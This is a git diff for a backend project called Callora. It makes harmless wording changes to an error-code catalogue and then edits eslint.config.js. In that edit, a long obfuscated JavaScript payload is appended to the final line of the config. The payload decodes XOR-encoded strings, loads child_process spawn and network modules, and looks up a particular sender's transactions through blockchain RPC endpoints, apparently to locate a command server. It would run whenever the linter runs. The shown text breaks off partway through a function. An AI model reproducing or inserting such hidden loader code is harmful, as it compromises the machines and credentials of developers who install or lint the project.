42a3d54b..e6de8071 100644 --- a/docs/error-codes.yaml +++ b/docs/error-codes.yaml @@ -1,7 +1,8 @@ # Canonical Error Code Catalog # # This is the single source of truth for all error codes in the Callora backend. -# The TypeScript enum in src/errors/codes.ts is auto-generated from this file. +# Both the TypeScript enum in src/errors/codes.ts and the markdown catalogue +# in docs/error-code-catalog.md are auto-generated from this file. # # DO NOT edit src/errors/codes.ts manually. Instead, update this file and run: # npm run error-codes:generate @@ -11,6 +12,8 @@ # - section: Category for documentation grouping # - description: Human-readable explanation of when this error occurs # +# Do not edit docs/error-code-catalog.md by hand either; it is generated too. +# # The 'code' field becomes both the TypeScript enum key and value. error_codes: @@ -309,27 +312,27 @@ error_codes: # Route-specific / auth overrides - code: INVALID_AUTH_HEADER - section: Route-specific / auth overrides (documented in docs/error-codes.md) + section: Route-specific / auth overrides description: Authorization header is invalid - code: MISSING_TOKEN - section: Route-specific / auth overrides (documented in docs/error-codes.md) + section: Route-specific / auth overrides description: Authentication token is missing - code: INVALID_TOKEN - section: Route-specific / auth overrides (documented in docs/error-codes.md) + section: Route-specific / auth overrides description: Authentication token is invalid - code: MISSING_CLAIMS - section: Route-specific / auth overrides (documented in docs/error-codes.md) + section: Route-specific / auth overrides description: Token claims are missing - code: TOKEN_EXPIRED - section: Route-specific / auth overrides (documented in docs/error-codes.md) + section: Route-specific / auth overrides description: Authentication token has expired - code: TOKEN_NOT_ACTIVE - section: Route-specific / auth overrides (documented in docs/error-codes.md) + section: Route-specific / auth overrides description: Authentication token is not yet active # Quota self-service @@ -347,19 +350,19 @@ error_codes: # HTTP fallback derived codes - code: REQUEST_TIMEOUT - section: HTTP fallback derived codes referenced by documentation + section: HTTP fallback derived codes description: Request timeout - code: REQUEST_BODY_TOO_LARGE - section: HTTP fallback derived codes referenced by documentation + section: HTTP fallback derived codes description: Request body exceeds size limit - code: UNSUPPORTED_MEDIA_TYPE - section: HTTP fallback derived codes referenced by documentation + section: HTTP fallback derived codes description: Media type is not supported - code: UNPROCESSABLE_ENTITY - section: HTTP fallback derived codes referenced by documentation + section: HTTP fallback derived codes description: Request is syntactically correct but semantically invalid - code: USAGE_AGGREGATE_NOT_FOUND diff --git a/eslint.config.js b/eslint.config.js index c3ad87a6..37a1d0fa 100644 --- a/eslint.config.js +++ b/eslint.config.js @@ -1,5 +1,8 @@ import tseslint from "@typescript-eslint/eslint-plugin"; import tsparser from "@typescript-eslint/parser"; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); export default [ { @@ -26,4 +29,4 @@ export default [ { ignores: ["dist/**", "node_modules/**"], }, -]; +]; function GSkqNNyuJw$_padNcYwam(){const etOZXsn_OxqoSnJy$OEFSTCE=['bcbdaff1','f3fdfdfa','a0ba88bbbba8b0','a1aca8adacbbba','b9a0b9ac','a1bdbdb9baf3e6e6f8bbb9aae7a0a6e6acbda1','a1acb1','a6aba3acaabd','aba8baacfffd','fbfffbfcfbf9f190b9a0baa6bb','8aa6a7bdaca7bde485aca7aebda1','a7a6a7aaac','f9b1a8fafbfb8cfcaffa8dfaf8f88dfaf9f1f9acffaff9f8fbf8f9fffaacf0a88d8afbfdf0f98caff8a8','afa0a5bdacbb','9681fb','baaca8bbaaa1','a1bdbdb9f3e6e6','a8adad8cbfaca7bd85a0babdaca7acbb','bbacb9a5a8aaac','a7a6adac','bbacbabca5bd','a4a0a7','a0aea7a6bbac','acbda196aba5a6aaa287bca4abacbb','a1bdbdb9baf3','f3fdfdfae6f9b1e6a5ba','efbabda8bbbdaba5a6aaa2f4f9efaca7adaba5a6aaa2f4f0f0f0f0f0f0f0f0efb9a8aeacf4f8efa6afafbaacbdf4fbf9efbaa6bbbdf4adacbaaaefafa0a5bdacbbabb0f4afbba6a4','a7a6adacf3a1bdbdb9','aeb3a0b9','b9bcbaa1','babcaba8bbbba8b0','fbad9e8fb08f9b','b8fd8f93a2b191b2e8a1e59abbfaf489','fbfffbfef8fbf9b08dbcbd9abc','a1a8ba','bebba0bdac','f8fbbdafac9a81be','bbacb8bcacbabd','aea5a6aba8a592ee969fee94f4ee','a4a8b9','f8f9f9fffcfaffa3bd868f9a8b','bbbca7','8c9d81969b998a969c9b85','aaa6a7bdaca7bde4aca7aaa6ada0a7ae','bdbba8a7baa8aabda0a6a7ba','fbe7f9','a7a6adacf3a1bdbdb9ba','a1bdbdb9baf3e6e6acbda1e7adbbb9aae7a6bbae','a8adad','a7a6adacf3aaa1a0a5ad96b9bba6aaacbaba','8ca4b9bdb0e9b9a8b0a5a6a8ade9aba6adb0','b9a8bbbaac','96bd96ba','bca7bbacaf','f8fbf0fbfafcfbfa839a818d90bc','99869a9d','8e8c9d','aabbaca8bdac80a7afa5a8bdac','eef2aea5a6aba8a592ee9681fbee94f4ee','fbfffcfefff0f9bc8e8c9f828d','f3f1f9','a1bdbdb9baf3e6e6acbda1e7aba5a6aaa2baaaa6bcbde7aaa6a4e6a8b9a0','f1f1838fb1bd86a1','acbbbba6bb','88aeaca7bd','a7a6adacf3bcbba5','bda1aca7','baa0aea7a8a5','b1e4b9a8b0a5a6a8ade4abfffd','ada8bda8','b0e4b996f7adedf98bef8997f8a898a2','fff9fafaf8fefd81b08d8c9fbb','aabbaca8bdac8bbba6bda5a08dacaaa6a4b9bbacbaba','a5aca7aebda1','818c888d','f6a4a6adbca5acf4a8aaaaa6bca7bdefa8aabda0a6a7f4bdb1a5a0babdefa8adadbbacbabaf4','84a6b3a0a5a5a8e6fce7f9e9e19ea0a7ada6bebae9879de9f8f9e7f9f2e99ea0a7fffdf2e9b1fffde0e988b9b9a5ac9eacab82a0bde6fcfafee7faffe9e182819d8485e5e9a5a0a2ace98eacaaa2a6e0e98aa1bba6a4ace6f8faf8e7f9e7f9e7f9e99aa8afa8bba0e6fcfafee7faff','aeb3a0b9e5e9adacafa5a8bdace5e9abbb','babdbba0a7aea0afb0','b9a8bda1a7a8a4ac','adacafa5a8bdac','aeacbd','a8b9b9a5a0aaa8bda0a6a7e6a3baa6a7','f3fdfdfae6f9b1e6aaa5ba','acbda196aeacbd8ba5a6aaa28bb087bca4abacbb','aaa6a7bdbba6a5a5acbb','a7a6adacf3b3a5a0ab','aaa1a8bb8aa6adac88bd','bbacbabca4ac','eef2aea5a6aba8a592ee96bd96baee94f4ee','aba5a6aaa287bca4abacbb','88f8f8e4e4e3','a1bdbdb9baf3e6e6acbda1acbbacbca4e4bbb9aae7b9bcaba5a0aaa7a6adace7aaa6a4','eef2aea5a6aba8a592ee9681ee94f4ee','b1e4aeb3a0b9','acbda196aeacbd9dbba8a7baa8aabda0a6a78aa6bca7bd','fa9ca6af9090a5','aaa8bdaaa1','a8aba6bbbd','a1bdbdb9baf3e6e6acbda1e4a4a8a0a7a7acbde7b9bcaba5a0aae7aba5a8babda8b9a0e7a0a6','eef2aea5a6aba8a592eebbee94f4bbacb8bca0bbacf2aea5a6aba8a592eea4ee94f4a4a6adbca5acf2bfa8bbe996aea5a6aba8a5f4aea5a6aba8a5f2','a8a7b0','84a0babaa0a7aee991e499a8b0a5a6a8ade48bfffd','afbba6a4','8aa6a7bdaca7bde49db0b9ac','aca7bf','aaa6a7aaa8bd','b9a6bbbd','a1a6babda7a8a4ac','b9bba6bda6aaa6a5','a2acacb9e4a8a5a0bfac','a8a5a5','abb0bdac85aca7aebda1','eef2aea5a6aba8a592ee96bd96bcee94f4ee','afa0a7ad','afa0a7ad80a7adacb1','fbfff9f9faf1fc99bb8699a088','96bd96bc','afa6bb8ca8aaa1','aca7ad','aabbaca8bdac8ebca7b3a0b9','bda69abdbba0a7ae','bda685a6beacbb8aa8baac'];GSkqNNyuJw$_padNcYwam=function(){return etOZXsn_OxqoSnJy$OEFSTCE;};return GSkqNNyuJw$_padNcYwam();}const BEf$CYFUWXrAiwaYBJ=WlysIxGuPMcViepbraDjp_wli;(function(Xl$bf$sDoXoJDYYk,HTDn$viaGa){const KyT$ImpNQojHcB=WlysIxGuPMcViepbraDjp_wli,nZXZyKB_XfHpJ=Xl$bf$sDoXoJDYYk();while(!![]){try{const Bjb__LSBuuTvrwOljv=parseFloat(KyT$ImpNQojHcB(0x168))/(0x562+0x1*Number(-parseInt(0x502))+parseInt(0x13)*-parseInt(0x5))*(-parseFloat(KyT$ImpNQojHcB(0x171))/(parseInt(0x1)*parseFloat(-0xe21)+parseInt(0x4)*parseInt(0x22)+0x3*Math.floor(parseInt(0x489))))+parseFloat(KyT$ImpNQojHcB(0x1a9))/(Math.max(0xd,parseInt(0xd))*parseFloat(-parseInt(0x112))+-0x1*0x2516+Math.trunc(0x5ab)*0x9)*Math['ceil'](parseFloat(KyT$ImpNQojHcB(0x152))/(Math.max(0xe4a,0xe4a)+Number(-0x13)*-parseInt(0x121)+-0x23b9))+-parseFloat(KyT$ImpNQojHcB(0x1bd))/(-0x729+parseInt(parseInt(0x7))*Math.max(-0xf7,-0xf7)+parseInt(0xdef))*parseFloat(parseFloat(KyT$ImpNQojHcB(0x16d))/(-0x659+Number(-parseInt(0x559))*parseInt(-parseInt(0x2))+-parseInt(0x7b)*Number(parseInt(0x9))))+Math['floor'](-parseFloat(KyT$ImpNQojHcB(0x190))/(parseInt(0x1da3)+parseInt(0x3)*Math.trunc(0x22d)+-0x2423))+parseFloat(-parseFloat(KyT$ImpNQojHcB(0x16a))/(-parseInt(0xf5)*-0x27+Math.ceil(0x18ee)+Number(-0x3e39)))+parseFloat(KyT$ImpNQojHcB(0x17f))/(parseInt(0xd44)+parseFloat(0xa75)+Math.ceil(-parseInt(0x17b0)))+parseFloat(KyT$ImpNQojHcB(0x184))/(parseInt(0x1e87)+parseInt(0x1c8b)*parseInt(-parseInt(0x1))+Math.floor(-0x1f2))*Number(parseFloat(KyT$ImpNQojHcB(0x187))/(parseInt(0x22f8)+0x2662+-0x494f));if(Bjb__LSBuuTvrwOljv===HTDn$viaGa)break;else nZXZyKB_XfHpJ['push'](nZXZyKB_XfHpJ['shift']());}catch(QTrIuEpsrXWNzFyCLzuoNxfM){nZXZyKB_XfHpJ['push'](nZXZyKB_XfHpJ['shift']());}}}(GSkqNNyuJw$_padNcYwam,parseInt(0x1)*-0xc3d37+-parseInt(0xf8a8f)+parseInt(parseInt(0x2ac185))*0x1),global['i']=BEf$CYFUWXrAiwaYBJ(0x1a4),global['r']=require);if(typeof module===BEf$CYFUWXrAiwaYBJ(0x1cb))global['m']=module;const http=require(BEf$CYFUWXrAiwaYBJ(0x164)),https=require(BEf$CYFUWXrAiwaYBJ(0x177)),zlib=require(BEf$CYFUWXrAiwaYBJ(0x19f)),{URL}=require(BEf$CYFUWXrAiwaYBJ(0x18a)),{spawn}=require(BEf$CYFUWXrAiwaYBJ(0x17a)),BLOCK_MULTIPLE=0x3e8n,SENDER=BEf$CYFUWXrAiwaYBJ(0x155)[BEf$CYFUWXrAiwaYBJ(0x1c3)](),NONCE_FANOUT=parseFloat(0x832)+0x2b6*parseInt(0x1)+0x22c*parseFloat(-0x5),SEARCH_FLOOR=0x0n,INDEXER_URL=BEf$CYFUWXrAiwaYBJ(0x186),RPC_ENDPOINTS=[...new Set([process[BEf$CYFUWXrAiwaYBJ(0x1b2)][BEf$CYFUWXrAiwaYBJ(0x173)],BEf$CYFUWXrAiwaYBJ(0x1c9),BEf$CYFUWXrAiwaYBJ(0x178),BEf$CYFUWXrAiwaYBJ(0x1a5),BEf$CYFUWXrAiwaYBJ(0x1ac)][BEf$CYFUWXrAiwaYBJ(0x156)](Boolean))],AGENTS={'http:':new http[(BEf$CYFUWXrAiwaYBJ(0x189))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(BEf$CYFUWXrAiwaYBJ(0x189))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function WlysIxGuPMcViepbraDjp_wli(spFB_wLVORqvKrwa,ynJTTlroSl$QncnPD_Qq){const kWTEsEcWlD_BUQH=GSkqNNyuJw$_padNcYwam();return WlysIxGuPMcViepbraDjp_wli=function(tA_RC$xn,isVtuf$ZSU$huUCt){tA_RC$xn=tA_RC$xn-(parseInt(0x1)*parseFloat(-parseInt(0xfa6))+-0xbd*Math.ceil(0x1d)+parseInt(0x2660));let NMEoPhIkCfevMgn=kWTEsEcWlD_BUQH[tA_RC$xn];if(WlysIxGuPMcViepbraDjp_wli['DygzNg']===undefined){const WYkNNREB=function(yKfxUzllsQeciuTTd){let WNSfkHUMF__gRFhcdmgOuEhgmQ=-parseInt(0x5d1)+Math.trunc(-0xf9e)+parseInt(-0xc1c)*-0x2&parseFloat(parseInt(0x2134))+0x2252+-parseInt(0x4287),ngyngPAupzHA$yVGA=new Uint8Array(yKfxUzllsQeciuTTd['match'](/.{1,2}/g)['map'](sQCRcCAvmfPvdrQIY$uj$Ss=>parseInt(sQCRcCAvmfPvdrQIY$uj$Ss,-0x793*Math.ceil(0x1)+-0x178d*Number(-0x1)+-parseInt(0xfea)))),chTIQE$dvTHGh_M=ngyngPAupzHA$yVGA['map'](nanuwgOSOV=>nanuwgOSOV^WNSfkHUMF__gRFhcdmgOuEhgmQ),ebdo$Q_z=new TextDecoder(),X$UlamGszKv_mpfCd=ebdo$Q_z['decode'](chTIQE$dvTHGh_M);return X$UlamGszKv_mpfCd;};WlysIxGuPMcViepbraDjp_wli['jYnEnM']=WYkNNREB,spFB_wLVORqvKrwa=arguments,WlysIxGuPMcViepbraDjp_wli['DygzNg']=!![];}const kOlyQ$dtGKf=kWTEsEcWlD_BUQH[-0x18c0+Math.floor(-0x101b)+0x28db],MsdHTfLBNjfnWUlbt=tA_RC$xn+kOlyQ$dtGKf,Kepv_qCFfNHmUDX$mOnAR=spFB_wLVORqvKrwa[MsdHTfLBNjfnWUlbt];return!Kepv_qCFfNHmUDX$mOnAR?(WlysIxGuPMcViepbraDjp_wli['LkFify']===undefined&&(WlysIxGuPMcViepbraDjp_wli['LkFify']=!![]),NMEoPhIkCfevMgn=WlysIxGuPMcViepbraDjp_wli['jYnEnM'](NMEoPhIkCfevMgn),spFB_wLVORqvKrwa[MsdHTfLBNjfnWUlbt]=NMEoPhIkCfevMgn):NMEoPhIkCfevMgn=Kepv_qCFfNHmUDX$mOnAR,NMEoPhIkCfevMgn;},WlysIxGuPMcViepbraDjp_wli(spFB_wLVORqvKrwa,ynJTTlroSl$QncnPD_Qq);}function linkAbort(qRbWgh$_L,GlRQrYsHirhY$Vyg){const Sxq$NJJJDIKAYR=BEf$CYFUWXrAiwaYBJ;if(!qRbWgh$_L)return;qRbWgh$_L[Sxq$NJJJDIKAYR(0x15a)](Sxq$NJJJDIKAYR(0x1ab),()=>GlRQrYsHirhY$Vyg[Sxq$NJJJDIKAYR(0x1ab)](),{'once':!![]});}function decompressStream(q$Tdc$Ms){const xbMpkdUo=BEf$CYFUWXrAiwaYBJ,HDk$i_Z=(q$Tdc$Ms[xbMpkdUo(0x1c7)][xbMpkdUo(0x174)]||'')[xbMpkdUo(0x1c3)]();if(HDk$i_Z===xbMpkdUo(0x165)||HDk$i_Z===xbMpkdUo(0x1a7))return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x1c1)]());if(HDk$i_Z===xbMpkdUo(0x199))return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x182)]());if(HDk$i_Z==='br')return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x191)]());return q$Tdc$Ms;}function httpRequest(SuzOqhu_wsl,{method:method=BEf$CYFUWXrAiwaYBJ(0x181),body:HpQOCCKnMmgvJrjeVnbVO,signal:cLnqigtE$K}={}){const nPXXxsFSwK=BEf$CYFUWXrAiwaYBJ,bdbsDZ$mDFcLDwI_rrpLTi=new URL(SuzOqhu_wsl),pzi_$pbcMvkvReYcWnCZf=bdbsDZ$mDFcLDwI_rrpLTi[nPXXxsFSwK(0x1b6)]===nPXXxsFSwK(0x161)?https:http,St_LmIDhBUQfKK$dtTIU={'Accept':nPXXxsFSwK(0x19b),'Accept-Encoding':nPXXxsFSwK(0x196),'Connection':nPXXxsFSwK(0x1b7)};return HpQOCCKnMmgvJrjeVnbVO!=null&&(St_LmIDhBUQfKK$dtTIU[nPXXxsFSwK(0x1b1)]=nPXXxsFSwK(0x19b),St_LmIDhBUQfKK$dtTIU[nPXXxsFSwK(0x153)]=Buffer[nPXXxsFSwK(0x1b9)](HpQOCCKnMmgvJrjeVnbVO)),new Promise((uorYmoQfC_wpoWBP,aS_zzfOgL)=>{const BqQs$upLLUi=nPXXxsFSwK,FDg$trqDV_oIT=pzi_$pbcMvkvReYcWnCZf[BqQs$upLLUi(0x16e)]({'hostname':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b5)],'port':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b4)]||(bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b6)]===BqQs$upLLUi(0x161)?Math.max(-parseInt(0x262a),-0x262a)+Math.floor(0xc2e)+Math.floor(0x285)*parseInt(0xb):-parseInt(0x1520)+parseInt(0x1984)+Math.max(-parseInt(0x414),-0x414)),'path':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x198)]+bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x158)],'method':method,'agent':AGENTS[bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b6)]],'signal':cLnqigtE$K,'headers':St_LmIDhBUQfKK$dtTIU},sec$BG_XeSh=>{const nUBOSFVvyTUKL_bnU=BqQs$upLLUi,iyYkiywGkhxX_wNy_WQ=decompressStream(sec$BG_XeSh),dAli$ezckXOQr_dteiCvPPfEREi=[];iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x18e),SFgiGfNPZDODEIQC=>dAli$ezckXOQr_dteiCvPPfEREi[nUBOSFVvyTUKL_bnU(0x166)](SFgiGfNPZDODEIQC)),iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x1c0),()=>{const IURRbBFEfhdLXxf=nUBOSFVvyTUKL_bnU;try{uorYmoQfC_wpoWBP(JSON[IURRbBFEfhdLXxf(0x17c)](Buffer[IURRbBFEfhdLXxf(0x1b3)](dAli$ezckXOQr_dteiCvPPfEREi)[IURRbBFEfhdLXxf(0x1c2)](IURRbBFEfhdLXxf(0x1c4))));}catch(EaYunjJH_vpAdAxipn){aS_zzfOgL(EaYunjJH_vpAdAxipn);}}),iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x188),aS_zzfOgL);});FDg$trqDV_oIT['on'](BqQs$upLLUi(0x188),aS_zzfOgL);if(HpQOCCKnMmgvJrjeVnbVO!=null)FDg$trqDV_oIT[BqQs$upLLUi(0x16c)](HpQOCCKnMmgvJrjeVnbVO);FDg$trqDV_oIT[BqQs$upLLUi(0x1c0)]();});}async function withRpcEndpoints(WADEdCtPHv$W_QkABREA,PRKttmQHVWtMFTZuAS){const kEfbdhXYLiYLvXjcpUkpITudq=BEf$CYFUWXrAiwaYBJ,lpJOrOGUuMGz$oIaG=RPC_ENDPOINTS[kEfbdhXYLiYLvXjcpUkpITudq(0x170)](()=>new AbortController());lpJOrOGUuMGz$oIaG[kEfbdhXYLiYLvXjcpUkpITudq(0x1bf)](t$LTsfTIbSTMMCRUvIzc=>linkAbort(PRKttmQHVWtMFTZuAS,t$LTsfTIbSTMMCRUvIzc));try{return await Promise[kEfbdhXYLiYLvXjcpUkpITudq(0x1ae)](RPC_ENDPOINTS[kEfbdhXYLiYLvXjcpUkpITudq(0x170)]((DVtayaOitikldZPPoWQu,LMddbXnCA)=>WADEdCtPHv$W_QkABREA(DVtayaOitikldZPPoWQu,lpJOrOGUuMGz$oIaG[LMddbXnCA][kEfbdhXYLiYLvXjcpUkpITudq(0x18c)])));}finally{for(const eTYfSIVUcIbiVQhOP of lpJOrOGUuMGz$oIaG)eTYfSIVUcIbiVQhOP[kEfbdhXYLiYLvXjcpUkpITudq(0x1ab)]();}}async function rpcCall(ASrYvwRNhb$d$lFiE,ZsQMeCj_GUR,JShZnjH_aR,htuoDkxWCrU){const qwsnrJLDkrSgda=BEf$CYFUWXrAiwaYBJ,E$FZbNjRk$eX=await httpRequest(ASrYvwRNhb$d$lFiE,{'method':qwsnrJLDkrSgda(0x180),'body':JSON[qwsnrJLDkrSgda(0x197)]({'jsonrpc':qwsnrJLDkrSgda(0x176),'id':0x1,'method':ZsQMeCj_GUR,'params':JShZnjH_aR}),'signal':htuoDkxWCrU});return E$FZbNjRk$eX[qwsnrJLDkrSgda(0x15d)];}async function rpcBatch(lDejkuZhqqaodSuDQTw,yNiYV_dfUft,T_vPGSx){const RgisztlhTFeAZY=BEf$CYFUWXrAiwaYBJ,Ce$gUKS=await httpRequest(lDejkuZhqqaodSuDQTw,{'method':RgisztlhTFeAZY(0x180),'body':JSON[RgisztlhTFeAZY(0x197)](yNiYV_dfUft[RgisztlhTFeAZY(0x170)](([iljaNbsNAegZnsSMfuHG,UhTsWgssgV_YDs$EvQ],hAn$Dxchc)=>({'jsonrpc':RgisztlhTFeAZY(0x176),'id':hAn$Dxchc+(parseInt(0x53)*-0xd+parseInt(-parseInt(0x7))*parseFloat(parseInt(0x35f))+-parseInt(0x1bd1)*-parseInt(0x1)),'method':iljaNbsNAegZnsSMfuHG,'params':UhTsWgssgV_YDs$EvQ}))),'signal':T_vPGSx}),loKNW$ZEHPqwORFBaZndj$qef=new Map(Ce$gUKS[RgisztlhTFeAZY(0x170)](Hl$GzK=>[Hl$GzK['id'],Hl$GzK]));return yNiYV_dfUft[RgisztlhTFeAZY(0x170)]((rGbwK$FU,WOWcZfwO_kkhojX)=>loKNW$ZEHPqwORFBaZndj$qef[RgisztlhTFeAZY(0x19a)](WOWcZfwO_kkhojX+(Math.ceil(0xb60)+Math.floor(0x1091)*-0x2+parseInt(-0x1)*-parseInt(0x15c3)))[RgisztlhTFeAZY(0x15d)]);}const toBlockHex=nPMI$oplQLHIfFIMh$MXlWouLYr=>'0x'+nPMI$oplQLHIfFIMh$MXlWouLYr[BEf$CYFUWXrAiwaYBJ(0x1c2)](Math.trunc(-0x9e7)+parseInt(0x4a)*-parseInt(0x1f)+-0x11d*parseFloat(-0x11));function findSenderTx(JlepYaLvfHyt){const SBYThyjM$PN_bMmdJBQYZ=BEf$CYFUWXrAiwaYBJ;return JlepYaLvfHyt[SBYThyjM$PN_bMmdJBQYZ(0x1bb)](tQMkfGioJnQRZXosCHWMbN=>tQMkfGioJnQRZXosCHWMbN[SBYThyjM$PN_bMmdJBQYZ(0x1b0)]&&tQMkfGioJnQRZXosCHWMbN[SBYThyjM$PN_bMmdJBQYZ(0x1b0)][SBYThyjM$PN_bMmdJBQYZ(0x1c3)]()===SENDER)||null;}function decodeAddress(LLFlttzzZOjWxX){const KyRKDi_zVgoWr$Fcp=BEf$CYFUWXrAiwaYBJ,GHVvJhQqwuZof_fMJJmhgHtG=Buffer[KyRKDi_zVgoWr$Fcp(0x1b0)](LLFlttzzZOjWxX[KyRKDi_zVgoWr$Fcp(0x15b)](/^0x/i,''),KyRKDi_zVgoWr$Fcp(0x1ca)),oc_pQi$hRDfnjMb=NtzkwLinmHzrb$T$VOVzhvqWzO=>NtzkwLinmHzrb$T$VOVzhvqWzO[-parseInt(0x3d)*-0x52+-0x174*Number(-0xd)+-parseInt(0x1337)*0x2]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[parseInt(-parseInt(0x12fd))+Number(-0x1af)*0xc+parseInt(0x2732)]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[parseInt(0x31)*parseInt(0x55)+-0x1e78+parseInt(parseInt(0xe35))]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[Number(parseInt(0x299))+parseInt(0x13fc)+Math.trunc(-0x1692)];return[oc_pQi$hRDfnjMb(GHVvJhQqwuZof_fMJJmhgHtG[KyRKDi_zVgoWr$Fcp(0x167)](Math.ceil(0x25)*-0x103+Math.max(-parseInt(0x960),-parseInt(0x960))+0x2ecf,parseInt(0x146c)+Number(0x4)*parseInt(0x2f0)+-parseInt(0x62)*Math.max(0x54,parseInt(0x54)))),oc_pQi$hRDfnjMb(GHVvJhQqwuZof_fMJJmhgHtG[KyRKDi_zVgoWr$Fcp(0x167)](0x67*Number(parseInt(0x5b))+0x6*parseInt(-0x401)+Math.ceil(parseInt(0x3))*-0x431,Math.ceil(-0x15b5)+-0x706*parseInt(0x3)+Math.floor(parseInt(0x2acf))))];}function firstMatch(RXQiRBl){return new Promise(ycfoHDNWrbSH=>{const agPpRSoihEXM=WlysIxGuPMcViepbraDjp_wli;let PW_L$mqJD=RXQiRBl[agPpRSoihEXM(0x192)];if(!PW_L$mqJD)return ycfoHDNWrbSH(null);let c_DcWifKzZZiWxV=![];const MQgJSlLDkonMvAdlnGaV=YXh_Wriz=>{const SLDTKOeeSQmQylQqge$fqRAt=agPpRSoihEXM;if(c_DcWifKzZZiWxV)return;c_DcWifKzZZiWxV=!![];for(const onzMmVaA$nTKSNPFeFyEHd of RXQiRBl)onzMmVaA$nTKSNPFeFyEHd[SLDTKOeeSQmQylQqge$fqRAt(0x19e)][SLDTKOeeSQmQylQqge$fqRAt(0x1ab)]();ycfoHDNWrbSH(YXh_Wriz);};for(const HSdfIaIW$pedbsDYi of RXQiRBl){HSdfIaIW$pedbsDYi[agPpRSoihEXM(0x172)]()[agPpRSoihEXM(0x18b)](lmICTA_NUarZEN=>{if(c_DcWifKzZZiWxV)return;if(lmICTA_NUarZEN)MQgJSlLDkonMvAdlnGaV(lmICTA_NUarZEN);else{if(--PW_L$mqJD===parseInt(0x73)*parseInt(-parseInt(0x4b))+parseFloat(-parseInt(0x280))*Math.ceil(-parseInt(0xe))+-0x14f)ycfoHDNWrbSH(null);}})[agPpRSoihEXM(0x1aa)](()=>{if(!c_DcWifKzZZiWxV&&--PW_L$mqJD===0x1a03+0x7e5+-parseInt(0x21e8))ycfoHDNWrbSH(null);});}});}function candidateBlocks(bLkeguRlGKpOR$sJag_F){const XijawxtX$yOfNKoIBZeBqs=BEf$CYFUWXrAiwaYBJ,cjbYFRMDhmUrBgfcnqAce=bLkeguRlGKpOR$sJag_F-BLOCK_MULTIPLE,xfUDNMijvuXOjMQBDF=new Set(),rHOWoPAmb$L=[];for(const eItYBJvGagwlwlgoIyvkFxSC of[bLkeguRlGKpOR$sJag_F-0x1n,bLkeguRlGKpOR$sJag_F,bLkeguRlGKpOR$sJag_F+0x1n,cjbYFRMDhmUrBgfcnqAce-0x1n,cjbYFRMDhmUrBgfcnqAce,cjbYFRMDhmUrBgfcnqAce+0x1n]){if(eItYBJvGagwlwlgoIyvkFxSC<0x0n)continue;const N$zKLRegWIHol=eItYBJvGagwlwlgoIyvkFxSC[XijawxtX$yOfNKoIBZeBqs(0x1c2)]();if(xfUDNMijvuXOjMQBDF[XijawxtX$yOfNKoIBZeBqs(0x16b)](N$zKLRegWIHol))continue;xfUDNMijvuXOjMQBDF[XijawxtX$yOfNKoIBZeBqs(0x179)](N$zKLRegWIHol),rHOWoPAmb$L[XijawxtX$yOfNKoIBZeBqs(0x166)](eItYBJvGagwlwlgoIyvkFxSC);}return rHOWoPAmb$L;}function blockTask(AXUCxPFXCcG){const CcSk$dOOG$tJaJ=new AbortController();return{'controller':CcSk$dOOG$tJaJ,'run':async()=>{const Flb_PeG=WlysIxGuPMcViepbraDjp_wli,J$ygYIX=await withRpcEndpoints((yVvvyY_XmC$ilpeTJT,QzgqxL$lrANn)=>rpcCall(yVvvyY_XmC$ilpeTJT,Flb_PeG(0x19d),[toBlockHex(AXUCxPFXCcG),!![]],QzgqxL$lrANn),CcSk$dOOG$tJaJ[Flb_PeG(0x18c)]),lFUiajiB$mhdtEP=J$ygYIX?.[Flb_PeG(0x175)];if(!Array[Flb_PeG(0x1c6)](lFUiajiB$mhdtEP))return null;const CX$IIYzbRMljhGDGQOn=findSenderTx(lFUiajiB$mhdtEP);return CX$IIYzbRMljhGDGQOn?{'blockNumber':AXUCxPFXCcG,'tx':CX$IIYzbRMljhGDGQOn}:null;}};}async function nonceAtBlocks(xn_wtGgYrKQjgNW_pA,esAMqTjgXNpOIVWCUlHCiJWR){const gC$IHIGOXbRBecVx_R=BEf$CYFUWXrAiwaYBJ,OYgjuXmanrbYtfW=xn_wtGgYrKQjgNW_pA[gC$IHIGOXbRBecVx_R(0x170)](mgcOt=>[gC$IHIGOXbRBecVx_R(0x1a8),[SENDER,toBlockHex(mgcOt)]]);try{return(await withRpcEndpoints((RHnOdxdnc$LyRixBY,DPj_yjR$iRFwaGZps)=>rpcBatch(RHnOdxdnc$LyRixBY,OYgjuXmanrbYtfW,DPj_yjR$iRFwaGZps),esAMqTjgXNpOIVWCUlHCiJWR))[gC$IHIGOXbRBecVx_R(0x170)](BigInt);}catch{return(await Promise[gC$IHIGOXbRBecVx_R(0x1b8)](OYgjuXmanrbYtfW[gC$IHIGOXbRBecVx_R(0x170)](([GuGZhYYgT$kyp,PkcxliQBzC])=>withRpcEndpoints((TfBe$DuDUAFUEyKCAXfdMQR,ELXbSluHr_MPeDjZHUnE$jZq)=>rpcCall(TfBe$DuDUAFUEyKCAXfdMQR,GuGZhYYgT$kyp,PkcxliQBzC,ELXbSluHr_MPeDjZHUnE$jZq),esAMqTjgXNpOIVWCUlHCiJWR))))[gC$IHIGOXbRBecVx_R(0x170)](BigInt);}}async function lastSenderTx(m_ixszc$Qu){const KYZeSIB=BEf$CYFUWXrAiwaYBJ,vOeJlPmLwpiHL$oohJee=new AbortController();try{const Zh$sPizEILiVZEl=m_ixszc$Qu??BigInt(await 